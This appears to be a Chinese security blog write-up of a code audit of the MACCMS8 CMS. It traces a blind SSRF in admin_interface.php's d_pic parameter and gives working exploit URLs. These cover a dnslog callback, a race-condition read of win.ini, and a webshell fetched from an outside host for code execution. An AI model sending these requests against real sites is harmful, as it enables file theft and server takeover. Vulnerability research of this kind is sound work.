代码审计-无回显SSRF的奇妙审计之旅

  • A+
所属分类:代码审计

代码审计-无回显SSRF的奇妙审计之旅

文章首发于奇安信攻防社区《无回显SSRF的奇妙审计之旅

一位苦于信息安全的萌新小白帽

本实验仅用于信息防御教学,切勿用于它用途

公众号:XG小刚


MACCMS

好久没代码审计了,随便找了个php的源码审了好几天,虽然漏洞不是很难利用,但是这个过程真是超级有趣

无回显ssrf

漏洞判断
日常搜索curl_exec()函数
发现在maccms8inccommonfunction.php文件的824行发现利用了该函数
代码审计-无回显SSRF的奇妙审计之旅
观察发现$ch参数由$url传入,在getPage()函数中没有任何操作对$url进行过滤
接着就反向查找哪里调用了getPage()函数
代码审计-无回显SSRF的奇妙审计之旅
发现调用该函数还挺多,挨个查找发现inccommonfunction.php1746行或许可以利用
代码审计-无回显SSRF的奇妙审计之旅
此时传入的$url函数进行了几处截断拼接操作,也没啥过滤啥的
那就继续查找savepic()函数被谁调用了
代码审计-无回显SSRF的奇妙审计之旅
乍一看也挺多的,我们只好挨个查看了
maccms8admin1212admin_interface.php的第452行我们发现调用了该函数
代码审计-无回显SSRF的奇妙审计之旅
传入的参数是$d_pic,慢慢往上追溯发现该参数在第66行可以通过be()函数传入
代码审计-无回显SSRF的奇妙审计之旅
be()函数干嘛用的就不展开讲了,这是该源码自己定义的函数,all表示可以通过get或post方式接收某一参数,d_pic就是参数值

到这,算是把这一套传参过程是给追完了,只要我们get传入d_pic就行呗?

利用过程构造
我们从开头顺着看运行过程,主要是判断需要哪些条件,可以让我们运行到漏洞处

走着走着发现在48,50行有个判断
代码审计-无回显SSRF的奇妙审计之旅
$ac=vod$pass是某个值,往上看,发现这俩值都可以get或post方式传入
ac好说传入vod,pass是啥啊
代码审计-无回显SSRF的奇妙审计之旅
全局搜索pass,发现是config/config.php的一个变量
代码审计-无回显SSRF的奇妙审计之旅
此变量是可以在后台的站外入库配置处查看的
代码审计-无回显SSRF的奇妙审计之旅
然后发现84,85行进行了判断,不能是空,一猜就是和上面相同的方法get或post传入即可
代码审计-无回显SSRF的奇妙审计之旅
然后在446,447行发现两个判断
strpos(','.$uprule,'j')$MAC['collect']['vod']['pic']==1
代码审计-无回显SSRF的奇妙审计之旅
这是啥啊,结合上面的pass也是类似判断,我猜测也是网站的配置config.php
代码审计-无回显SSRF的奇妙审计之旅
需要将pic改为1,所以去后台找相关操作发现采集过程中同步图片控制该参数
代码审计-无回显SSRF的奇妙审计之旅
我们设为开启即成为1,然后j是在二次更新规则处选择图片

开始利用
到这所以流程走完了,构造的url,尝试访问dnslog
http://127.0.0.1/maccms8/admin1212/admin_interface.php?ac=vod&pass=LMB9UVWA63&d_name=1&d_type=1&d_pic=http://ckrooo.dnslog.cn
代码审计-无回显SSRF的奇妙审计之旅
发现新增数据成功?这是执行了sql注入,这里是存在sql注入的(但我已经提交了),不是本文重点
再次访问一次,发现dnslog接收到访问了
代码审计-无回显SSRF的奇妙审计之旅
这里我们也可以停下来思考一下这个流程,为啥访问两次才接收到dnslog数据)

到这虽然我们发现了ssrf漏洞,但是没回显
ssrf的各种伪协议、读源码、扫内网没法玩啊,食之无味弃之可惜
代码审计-无回显SSRF的奇妙审计之旅

峰回路转
过了两天总觉得该漏洞太气人了,没回显的ssrf多气人,继续挖!

继续回去看代码,发现在inccommonfunction.php1749行有一个操作,写入内容到文件?峰回路转?
代码审计-无回显SSRF的奇妙审计之旅
往下继续看,发现后面进行了判断是不是图片内容
代码审计-无回显SSRF的奇妙审计之旅
不是图片就删除该文件,你说气不气人
那就先测试一下写入图片吧
http://127.0.0.1/maccms8/admin1212/admin_interface.php?ac=vod&pass=LMB9UVWA63&d_name=1&d_type=1&d_pic=http:xxx.123.png
发现图片被写入到了/upload/vod/2021-08-18/123.png
???目录可猜测?文件名是原文件名?

思考半天,突然想到一个姿势,条件竞争!
因为该源码,我们是已经成功写入到目录下了,只是后面来了个判断给删了,但利用条件竞争我们是有机会在没删之前读取该文件的。

开始构造,使用burp跑
http://127.0.0.1/maccms8/admin1212/admin_interface.php?ac=vod&pass=LMB9UVWA63&d_name=1&d_type=1&d_pic=file:///c:/windows/win.ini
代码审计-无回显SSRF的奇妙审计之旅
http://127.0.0.1/maccms8/upload/vod/2021-08-18/win.ini
代码审计-无回显SSRF的奇妙审计之旅
两个数据开跑
代码审计-无回显SSRF的奇妙审计之旅
成了!

文件上传getshell


其实这里还是有另一个洞,就是文件上传
首先构造图片马,必须是图片马,因为文件进行了图片判断
但是,这里可以是php后缀!很离谱
http://127.0.0.1/maccms8/admin1212/admin_interface.php?ac=vod&pass=LMB9UVWA63&d_name=10&d_type=2&d_pic=http://xxx/1234.php
代码审计-无回显SSRF的奇妙审计之旅
将马上传到
http://127.0.0.1/maccms8/upload/vod/2021-08-18/1234.php
成功解析
代码审计-无回显SSRF的奇妙审计之旅

总结


真是峰回路转啊,多思考是多么的重要
其实这个ssrf还有几处利用,比如ac=art,也是需要去后台改相应配置

本文始发于微信公众号(XG小刚):代码审计-无回显SSRF的奇妙审计之旅

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: